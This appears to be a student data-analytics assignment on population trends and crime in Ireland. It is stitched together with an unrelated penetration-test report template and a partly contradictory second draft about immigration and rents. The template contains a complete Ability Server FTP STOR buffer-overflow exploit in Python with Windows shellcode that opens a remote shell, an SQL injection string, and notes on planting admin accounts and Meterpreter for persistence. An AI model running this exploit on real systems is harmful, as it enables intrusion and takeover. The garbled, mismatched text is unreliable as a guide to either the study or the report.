**CCT College Dublin**

**Assessment Cover Page**

|  |  |
| --- | --- |
| **Module Title:** | *Programming for DA*  *Statistics for Data Analytics*  *Machine Learning for Data Analysis*  *Data Preparation & Visualisation* |
| **Assessment Title:** | *Exploring the Link Between Population Trends and Crime Rates in Ireland* |
| **Lecturer Name:** | *Sam Weiss/* *David Gonzalez*  *Bharathi Chakravarthi/* *Marina Iantorno*  *Muhammad Iqbal*  *David McQuaid* |
| **Student Full Name:** | Jose Mario da Cruz Costa |
| **Student Number:** | 2023422 |
| **Assessment Due Date:** | 10/11/2023 |
| **Date of Submission:** | 10/11/2023 |

**Declaration**

|  |
| --- |
| By submitting this assessment, I confirm that I have read the CCT policy on Academic Misconduct and understand the implications of submitting work that is not my own or does not appropriately reference material taken from a third party or other source. I declare it to be my own work and that all material from third parties has been appropriately referenced. I further confirm that this work has not previously been submitted for assessment by myself or someone else in CCT College Dublin or any other higher education institution. |

**Exploring the Link Between Population Trends and Crime Rates in Ireland**

**Abstract**

*Population growth can have positive and negative impacts in a country. On the positive side, population growth can lead to increased economic growth and innovation, in other hand, population growth can also lead to increased competition for resources and increased crime rates.*

*This project will explore the link between population trends and crime rates in Ireland. It will use a variety of data sources including population data from the Central Statistics Office of Ireland and recorded crime data from the Garda Síochána also found at Central Statistics Office of Ireland.*

*The study will focus on the following key questions:*

* *How has the population of Ireland changed in recent years?*
* *Which region has changed most?*
* *Is there a relationship between population growth and recorded crimes in Ireland in the last 20 years?*
* *Population trends can be used to predict future crime rate Ireland.*

*To choose the best way to predict something, we are exploring and comparing different regression models. The models we are considering are multiple linear regression, lasso and ridge regularization, and decision tree regression.*

*As different regression models make different assumptions about the data. Comparing different models, I will find the one that produces the most accurate predictions for the dataset.*

*I also will use regression analysis to model the relationship between population growth and crime rate.*

***KEYWORDS:*** *population growth, crime rates, Ireland, crime prevention, policy*

Table of Contents

Abstract ……………………………………………………………………………………………………2

Table of Contents ………………………………………………………………………………...………3

Introduction ………………………………………………………………………………………………..4

1.0 Data Preparation and Visualization 4

1.1 Data Wrangling 6

1.2 Exploratory Data Analysis (EDA) Method and Insights 6

1.3 Requirements 9

2.0 Sample Report – High-Level Summary 9

2.1 Sample Report - Recommendations 11

3.0 Sample Report – Methodologies 11

3.1 Sample Report – Information Gathering 11

3.2 Sample Report – Service Enumeration 12

3.3 Sample Report – Penetration 13

3.4 Sample Report – Maintaining Access 17

3.5 Sample Report – House Cleaning 18

4.0 Additional Items Not Mentioned in the Report 18

Introduction

|  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- |
| **Region and county** | | | | | | | |
| **Border** | **Midland** | **West** | **Dublin** | **Mid-East** | **Mid-West** | **South-East** | **South-West** |
| Cavan | Laois | Galway City | Dublin City | Kildare | Clare | Carlow | Cork City |
| Donegal | Longford | Galway County | Dún Laoghaire-Rathdown | Louth | Limerick | Kilkenny | Cork County |
| Leitrim | Offaly | Mayo | Fingal | Meath | Tipperary | Waterford | Kerry |
| Monaghan | Westmeath | Roscommon | South Dublin | Wicklow |  | Wexford |  |
| Sligo |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |

Source: https://www.cso.ie/en/releasesandpublications/ep/p-rsdgi/regionalsdgsireland2017/nt/

1.0 Data Preparation and Visualization

## 1.1 Data Wrangling

Data Wrangling is the first step to performed with the data, this process consists of cleaning, transforming, and manipulating data to make it more usable for analysis.

This process will be performed on Jupyter notebook: **MSC\_DA\_CA1\_Jose\_Mario.ipynb** and It was called “**Phase 01 - Data Wrangling** “

The project will use 3 datasets:

* CJQ01-recorded\_crime\_2002-2023.csv
* PEA04-Estimated\_Pupulation-2011-2023.csv
* PEA07-Estimated\_Pupulation-1996-2017.csv

It will be necessary to clean the data, organize and rename some columns, as well as merge the datasets.

## 1.2 1 Exploratory Data Analysis (EDA) Method and Insights

EDA allows us to gain an overall understanding of the dataframes, detecting relationships between variables, and examine the distribution of the variables of interest. In this study, the exploratory data analysis (EDA) step will be used to perform both statistical analysis and visualization tasks.

The best approach is the multivariate analysis, what is exploring the relationships between three or more variables, so I will look at the relationship between population, and crime rates.

I chose these methods because they will allow me to gain insights over the overall trends in population, as well as the overall situation of the crime rate and relation with the population trend.

**Performing the EDA:**

This process will be performed on Jupyter notebook: **MSC\_DA\_CA1\_Jose\_Mario.ipynb** and it was called **“**Phase 02 - EDA – Visualization”

**BoxPlot**:

We can get some insights from the boxplot and answer a variety of questions about the data, for example:

* Identify the median value of the data.
* Determine whether the data is skewed.
* Identify outliers.
* Compare the distributions of two or more groups of data.

A chart with different colored boxes

Description automatically generated  
*Figure 01: Boxplot - population by region*

## Insights:

## From this boxplot we can get some Insights:

The median population of the "Border" region is the highest, also the boxplot shows that there is a significant variation in population between the different regions. The Border and West regions have the highest populations, while the South-West region has the lowest population.

Based in this insight, que can answer the following question:

Which region has the highest median population?

*The Border region has the highest median population.*

**Line Chart:**

From the Line charts we can get the following insights:

* Trends: we can identify trends, such as whether the population is increasing, decreasing, or remaining stable.
* Relationships: We can identify relationship between two variables.
* Comparisons: We can compare two or more variables over time. This can be useful for identifying differences between regions.

A graph of different colored lines

Description automatically generated  
*Figure 02 – Population by region over time*

**Insights:**

One of the most obvious insights is the overall growth of population over time, The chart shows the regional variation in population growth. Some regions, such as Dublin, have experienced more rapid growth than others.

Also, we can observe some anomalies in the regions "Border" and "South-East", which show a decrease in population..

Considering the trend line, and further more using Machine Learning, we can get insights into the future of population.

**Pie Chart:**

From Pie charts we can get following insights:

* Composition: From Pie charts we can get how a whole is divided into its constituent parts.
* Comparisons: We can also compare the population of each region. This can be useful for identifying similarities and differences between different regions.
* Trends: We can also plot more than one Pie chart and observe how it changes over time.

Pie chart uses a 1D array as input. so, we need to convert the data variable to a 1D array using numpy.ravel() function we can flattens a NumPy array into a 1D array.

In this case, we will plot two Pie Carts one with data from 2013 and other with data from 2023, so that, we can observe any change in 10 years.

A close-up of a pie chart

Description automatically generated*Figure 03 – Population by region 2013 and 2023*

**Insights:**

From the pie chart, we can observe that the biggest region in population Is the Dublin region and the smallest is Midland.

Comparing both pie charts, we can see the following changes:

The Dublin region has become even more populous over the past decade, increasing its population share from 32.1% to 33.2%.

The Border region has also experienced a slight increase in population share, from 16.5% to 16.9%.

Overall, the population of Ireland is becoming more concentrated in the Dublin region. This may be due to a number of factors, such as job opportunities, educational opportunities, and cultural amenities.

## 1.3 Requirements

The student will be required to fill out this penetration testing report fully and to include the following sections:

# 2.0 Sample Report – High-Level Summary

John Doe was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. John’s overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, John was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, John had administrative level access to multiple systems. All systems were successfully exploited and access granted. These systems as well as a brief description on how access was obtained are listed below:

* Lab Trophy 1 – Got in through X
* Lab Trophy 2 – Got in through X
* Lab Trophy 3 – Got in through X
* Exam Trophy 1 – Got in through X
* Exam Trophy 2 – Got in through X

## 2.1 Sample Report - Recommendations

John recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

# 3.0 Sample Report – Methodologies

John utilized a widely adopted approach to performing penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how John was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

## 3.1 Sample Report – Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, John was tasked with exploiting the lab and exam network. The specific IP addresses were:

Lab Network

192.168.1.1, 192.168.1.2, 192.168.1.3

Exam Network

172.16.203.133, 172.16.203.134, 172.16.203.135, 172.16.203.136

## 3.2 Sample Report – Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

|  |  |
| --- | --- |
| Server IP Address | Ports Open |
| 192.168.1.1 | TCP: 21,22,25,80,443 |
| 192.168.1.2 | TCP: 22,55,90,8080,80 |
| 192.168.1.3 | TCP: 1433,3389  UDP: 1434,161 |

## 3.3 Sample Report – Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, John was able to successfully gain access to 10 out of the 50 systems.

|  |
| --- |
| Vulnerability Exploited: Ability Server 2.34 FTP STOR Buffer Overflow  System Vulnerable: 172.16.203.134  Vulnerability Explanation: Ability Server 2.34 is subject to a buffer overflow vulnerability in STOR field. Attackers can use this vulnerability to cause arbitrary remote code execution and take completely control over the system. When performing the penetration test, John noticed an outdated version of Ability Server running from the service enumeration phase. In addition, the operating system was different from the known public exploit. A rewritten exploit was needed in order for successful code execution to occur. Once the exploit was rewritten, a targeted attack was performed on the system which gave John full administrative access over the system.  Vulnerability Fix: The publishers of the Ability Server have issued a patch to fix this known issue. It can be found here: <http://www.code-crafters.com/abilityserver/>  Severity: Critical  Proof of Concept Code Here: Modifications to the existing exploit was needed and is highlighted in red.  ###################################  # Ability Server 2.34 FTP STOR Buffer Overflow  # Advanced, secure and easy to use FTP Server.  # 21 Oct 2004 - muts  ###################################  # D:\BO>ability-2.34-ftp-stor.py  ###################################  # D:\data\tools>nc -v 127.0.0.1 4444  # localhost [127.0.0.1] 4444 (?) open  # Microsoft Windows XP [Version 5.1.2600]  # (C) Copyright 1985-2001 Microsoft Corp.  # D:\Program Files\abilitywebserver>  ###################################  import ftplib  from ftplib import FTP  import struct  print "\n\n################################"  print "\nAbility Server 2.34 FTP STOR buffer Overflow"  print "\nFor Educational Purposes Only!\n"  print "###################################"  # Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial"  sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"  sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"  sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"  sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"  sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"  sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"  sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"  sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"  sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"  sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"  sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"  sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"  sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"  sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"  sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"  sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"  sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"  sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"  sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"  sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"  sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"  sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"  # Change RET address if need be.  buffer = '\x41'\*966+struct.pack('<L', 0x7C2FA0F7)+'\x42'\*32+sc # RET Windows 2000 Server SP4  #buffer = '\x41'\*970+struct.pack('<L', 0x7D17D737)+'\x42'\*32+sc # RET Windows XP SP2  try:  # Edit the IP, Username and Password.  ftp = FTP('127.0.0.1')  ftp.login('ftp','ftp')  print "\nEvil Buffer sent..."  print "\nTry connecting with netcat to port 4444 on the remote machine."  except:  print "\nCould not Connect to FTP Server."  try:  ftp.transfercmd("STOR " + buffer)  except:  print "\nDone."  Screenshot Here:  image.png |
| Vulnerability Exploited: MySQL Injection  System Vulnerable: 172.16.203.135  Vulnerability Explanation: A custom web application identified was prone to SQL Injection attacks. When performing the penetration test, John noticed error-based MySQL Injection on the taxid query string parameter. While enumerating table data, John was able to successfully extract login and password credentials that were unencrypted that also matched username and password accounts for the root user account on the operating system. This allowed for a successful breach of the Linux-based operating system as well as all data contained on the system.  Vulnerability Fix: Since this is a custom web application, a specific update will not properly solve this issue. The application will need to be programmed to properly sanitize user-input data, ensure that the user is running off of a limited user account, and that any sensitive data stored within the SQL database is properly encrypted. Custom error messages are highly recommended, as it becomes more challenging for the attacker to exploit a given weakness if errors are not being presented back to them.  Severity: Critical  Proof of Concept Code Here:  SELECT \* FROM login WHERE id = 1 or 1=1 AND user LIKE “%root%"  Screenshot Here: | |

## 3.4 Sample Report – Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

John added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established.

## 3.5 Sample Report – House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After the trophies on both the lab network and exam network were completed, John removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system.

# 4.0 Additional Items Not Mentioned in the Report

This section is placed for any additional items that were not mentioned in the overall report.

CONTENTS

Abstract -------------------------------------- i

1 Data preparation and Visualization ---------------------------- 1

# Data preparation and Visualization : (Graded out of 100)

1. Perform appropriate EDA - Early data analysis / **Exploratory data analysis** (EDA).

Method chosen and Insights.

2. You must also rationalise justify and detail all the methods used to prepare the data for ML.

3. Appropriate visualizations must be used to engender insight into the dataset and to illustrate your final insights gained in your analysis.

4. All design and implementation of your visualizations must be justified and detailed in full.

## Abstract

*The aim of this project is to explore the relationship between population trends and recorded crimes in Ireland. To achieve this goal, I will be investigating the impact of population growth on crime rates.*

*For this purpose, we need to answer the following questions:*

*How has the population of Ireland changed in recent years?*

*Which region has changed most?*

*Is there a relationship between population growth and recorded crimes in Ireland in the last 20 years?*

*Population trends can be used to predict future crime rate Ireland?*

1 - Data preparation and Visualization

* 1. **Early Data Analysis/Exploratory Data Analysis (EDA)**

Before getting any result from the data, it is necessary perform the correct EDA process, this process provide insights into its characteristics, relationships, and patterns.

**EDA method for the dataset**

The project will use 4 datasets:

* CJQ01-recorded\_crime\_2002-2023.csv
* PEA04-Estimated\_Pupulation-2011-2023.csv
* PEA07-Estimated\_Pupulation-1996-2017.csv

As we have three different datasets, the best approach is the multivariate analysis, what is exploring the relationships between three or more variables, so I will look at the relationship between immigration, population, and renting prices.

I chose these methods because they will allow me to gain insights over the overall trends in population, as well as the overall situation of the crime rate and relation with the population trend.

Performing the EDA:

This process will be performed on Jupyter notebook:

File: MSC\_DA\_CA1\_Jose\_Mario.ipynb

Phase 01 - EDA:

In the phase 01, I will organize and clean the data, loading the dataset and checking the header. After I will drop unnecessary columns and rename some to be more understandable.

After, I will check if is there any null value .

**4. Insights gained from EDA**

The insights gained from EDA will help me to choose the appropriate prediction method for the dataset and to develop a more accurate and reliable model. For example, if I find that immigration is a strong predictor of population growth, then I can include immigration in my prediction model.

**Here are some specific examples of insights that I might gain from EDA:**

* I might find that immigration has been increasing steadily over time, while population growth has been slowing down. This could suggest that immigration is becoming a more important driver of population growth in Ireland.
* I might find that there is a strong positive correlation between immigration and renting prices. This could suggest that an increase in immigration leads to an increase in demand for housing, which drives up renting prices.
* I might find that there is a negative correlation between population growth and renting prices. This could suggest that an increase in population leads to an increase in the supply of housing, which drives down renting prices.

By identifying these insights, I can develop a better understanding of the data and choose the appropriate prediction method.

1. The first goal is using Data Visualization, analize the population growth in each region and in total 1996.

As we have 2 datasets with these datas: PEA07-Estimated\_Pupulation-1996-2017.csv and PEA04-Estimated\_Pupulation-2011-2023.csv. We need to visualize, clean, verify if is there any “bad data” (null or bad formatted data), and after merge these datasets.

Analysing the dataset, we can see that the population is split into regions, each region represents a group of conties, as follows:

|  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- |
| **Border** | **Midland** | **West** | **Dublin** | **Mid-East** | **Mid-West** | **South-East** | **South-West** |
| Cavan | Laois | Galway City | Dublin City | Kildare | Clare | Carlow | Cork City |
| Donegal | Longford | Galway County | Dún Laoghaire-Rathdown | Louth | Limerick | Kilkenny | Cork County |
| Leitrim | Offaly | Mayo | Fingal | Meath | Tipperary | Waterford | Kerry |
| Monaghan | Westmeath | Roscommon | South Dublin | Wicklow |  | Wexford |  |
| Sligo |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |

**Machine Learning**

**Linear regression:** Linear regression is a simple but powerful model that can be used to predict continuous variables, such as population growth. It works by finding a linear relationship between the population growth and one or more independent variables, such as fertility rates, mortality rates, and migration rates.